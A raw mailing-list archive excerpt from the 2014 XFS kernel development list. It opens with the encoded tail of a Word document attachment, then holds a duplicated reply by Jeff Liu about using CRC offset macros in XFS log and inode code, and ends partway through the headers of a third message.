AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAP7/AAAGAQIAAAAAAAAAAAAAAAAAAAAAAAEAAAAC1c3VnC4bEJOX CAArLPmuMAAAAOwAAAAMAAAAAQAAAGgAAAAPAAAAcAAAAAUAAAB8AAAABgAAAIQAAAARAAAAjAAA ABcAAACUAAAACwAAAJwAAAAQAAAApAAAABMAAACsAAAAFgAAALQAAAANAAAAvAAAAAwAAADJAAAA AgAAAOMEAAAeAAAABAAAACoAAAADAAAACQAAAAMAAAACAAAAAwAAAGkFAAADAAAAAAAOAAsAAAAA AAAACwAAAAAAAAALAAAAAAAAAAsAAAAAAAAAHhAAAAEAAAABAAAAAAwQAAACAAAAHgAAAAkAAADN 4Ofi4O3o5QADAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAABAAAAAgAAAAMAAAAEAAAABQAAAAYAAAAHAAAACAAAAAkAAAAKAAAACwAAAAwA AAANAAAA/v///w8AAAAQAAAAEQAAABIAAAATAAAAFAAAABUAAAAWAAAAFwAAABgAAAAZAAAAGgAA ABsAAAAcAAAA/v///x4AAAAfAAAAIAAAACEAAAAiAAAAIwAAACQAAAD+////JgAAACcAAAAoAAAA KQAAACoAAAArAAAALAAAAP7////9////LwAAAP7////+/////v////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// /////////////1IAbwBvAHQAIABFAG4AdAByAHkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAWAAUB//////////8DAAAABgkCAAAAAADAAAAAAAAARgAAAAAAAAAA AAAAAJAGHOeeLc8BMQAAAIAAAAAAAAAAMQBUAGEAYgBsAGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4AAgH/////BQAAAP////8AAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOAAAAoRwAAAAAAABXAG8AcgBkAEQAbwBjAHUAbQBl AG4AdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGgACAQEAAAD///// /////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAuGgAAAAAAAAUAUwB1 AG0AbQBhAHIAeQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAoAAIBAgAAAAQAAAD/////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHQAA AAAQAAAAAAAABQBEAG8AYwB1AG0AZQBuAHQAUwB1AG0AbQBhAHIAeQBJAG4AZgBvAHIAbQBhAHQA aQBvAG4AAAAAAAAAAAAAADgAAgH///////////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAlAAAAABAAAAAAAAABAEMAbwBtAHAATwBiAGoAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgACAP///////////////wAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAByAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//////////// ////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAD///////////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAABAAAA/v////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// /////////wEA/v8DCgAA/////wYJAgAAAAAAwAAAAAAAAEYgAAAAxO7q8+zl7fIgTWljcm9zb2Z0 IFdvcmQgOTctMjAwMwAKAAAATVNXb3JkRG9jABAAAABXb3JkLkRvY3VtZW50LjgA9DmycQAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA ------=_NextPart_000_2460_01CF2DD6.3B5214C0-- From jeff.liu@oracle.com Thu Feb 20 03:33:42 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 6A25C7F7C for ; Thu, 20 Feb 2014 03:33:42 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 530398F807A for ; Thu, 20 Feb 2014 01:33:39 -0800 (PST) X-ASG-Debug-ID: 1392888817-04cb6c6de15f7d10001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id 43PrnAbWdaEzqyOx (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 20 Feb 2014 01:33:38 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s1K9XaYP008735 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 20 Feb 2014 09:33:36 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s1K9XZJv026937 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 20 Feb 2014 09:33:35 GMT Received: from abhmp0017.oracle.com (abhmp0017.oracle.com [141.146.116.23]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s1K9XZkX024435; Thu, 20 Feb 2014 09:33:35 GMT Received: from [192.168.1.102] (/112.249.52.85) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Thu, 20 Feb 2014 01:33:34 -0800 Message-ID: <5305CBE8.7050500@oracle.com> Date: Thu, 20 Feb 2014 17:33:28 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Dave Chinner CC: Eric Sandeen , xfs@oss.sgi.com Subject: Re: [PATCH 4/9] xfs: Use defines for CRC offsets in all cases References: <1392767549-25574-1-git-send-email-sandeen@redhat.com> <1392767549-25574-5-git-send-email-sandeen@redhat.com> <530463C6.6050509@oracle.com> <20140220002713.GI4916@dastard> X-ASG-Orig-Subj: Re: [PATCH 4/9] xfs: Use defines for CRC offsets in all cases In-Reply-To: <20140220002713.GI4916@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: acsinet22.oracle.com [141.146.126.238] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1392888818 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145311 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 02/20 2014 08:27 AM, Dave Chinner wrote: > On Wed, Feb 19, 2014 at 03:56:54PM +0800, Jeff Liu wrote: >> Hi Eric, >> >> I read the previous comments from Dave about using defines for CRC offsets, >> and with a grep search after applying this patch, looks there have another >> two places maybe we should switch them to the macros as well: >> >> fs/xfs/xfs_log.c: >> Do we need a log record crc offset macros for offsetof(struct xlog_rec_header, h_crc))? >> >> xfs_dinode.h: >> we added the XFS_DINODE_CRC_OFF, just use it at below routine? >> >> static inline uint xfs_dinode_size(int version) >> { >> if (version == 3) >> return sizeof(struct xfs_dinode); >> return offsetof(struct xfs_dinode, di_crc); >> } > > No, that's a different case - it's not being used for determining > the offset of a CRC varaible - it's being used to calculate the size > of the version 2 inode core. Hence it should remain open coded like > because it has a different purpose in life.... Thanks for the clarification, so we don't need that for the second inode case, but the first case is used to determine the log record crc offset to generate the crc for record header, shouldn't we make it consistent with others? Thanks, -Jeff From jeff.liu@oracle.com Thu Feb 20 03:41:14 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B4ABA7F8A for ; Thu, 20 Feb 2014 03:41:14 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3ED24AC003 for ; Thu, 20 Feb 2014 01:41:14 -0800 (PST) X-ASG-Debug-ID: 1392889272-04cbb00c285f27d0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id TvhYca4VRF13LU2O (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 20 Feb 2014 01:41:13 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s1K9fATr017302 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 20 Feb 2014 09:41:11 GMT Received: from userz7022.oracle.com (userz7022.oracle.com [156.151.31.86]) by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s1K9f7IT019503 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 20 Feb 2014 09:41:09 GMT Received: from abhmp0007.oracle.com (abhmp0007.oracle.com [141.146.116.13]) by userz7022.oracle.com (8.14.5+Sun/8.14.4) with ESMTP id s1K9f7wU006547; Thu, 20 Feb 2014 09:41:07 GMT Received: from [192.168.1.102] (/112.249.52.85) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Thu, 20 Feb 2014 01:41:07 -0800 Message-ID: <5305CDAE.50004@oracle.com> Date: Thu, 20 Feb 2014 17:41:02 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Dave Chinner CC: Eric Sandeen , xfs@oss.sgi.com Subject: Re: [PATCH 4/9] xfs: Use defines for CRC offsets in all cases References: <1392767549-25574-1-git-send-email-sandeen@redhat.com> <1392767549-25574-5-git-send-email-sandeen@redhat.com> <530463C6.6050509@oracle.com> <20140220002713.GI4916@dastard> X-ASG-Orig-Subj: Re: [PATCH 4/9] xfs: Use defines for CRC offsets in all cases In-Reply-To: <20140220002713.GI4916@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: acsinet22.oracle.com [141.146.126.238] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1392889272 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145311 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 02/20 2014 08:27 AM, Dave Chinner wrote: > On Wed, Feb 19, 2014 at 03:56:54PM +0800, Jeff Liu wrote: >> Hi Eric, >> >> I read the previous comments from Dave about using defines for CRC offsets, >> and with a grep search after applying this patch, looks there have another >> two places maybe we should switch them to the macros as well: >> >> fs/xfs/xfs_log.c: >> Do we need a log record crc offset macros for offsetof(struct xlog_rec_header, h_crc))? >> >> xfs_dinode.h: >> we added the XFS_DINODE_CRC_OFF, just use it at below routine? >> >> static inline uint xfs_dinode_size(int version) >> { >> if (version == 3) >> return sizeof(struct xfs_dinode); >> return offsetof(struct xfs_dinode, di_crc); >> } > > No, that's a different case - it's not being used for determining > the offset of a CRC varaible - it's being used to calculate the size > of the version 2 inode core. Hence it should remain open coded like > because it has a different purpose in life.... Thanks for the clarification, so we don't need that for the second inode case, but the first case is used to determine the log record crc offset to generate the crc for record header, shouldn't we make it consistent with others? Thanks, -Jeff From lczerner@redhat.com Thu Feb 20 05:16:37 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id CB2507F88 for ; Thu, 20 Feb 2014 05:16:37 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id A8D2C8F8037 for ; Thu, 20 Feb 2014 03:16:37 -0800 (PST) X-ASG-Debug-ID: 1392894993-04cb6c6de15ff140001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 4aayfMvtUCk4nN5R for ; Thu, 20 Feb 2014 03:16:33 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from 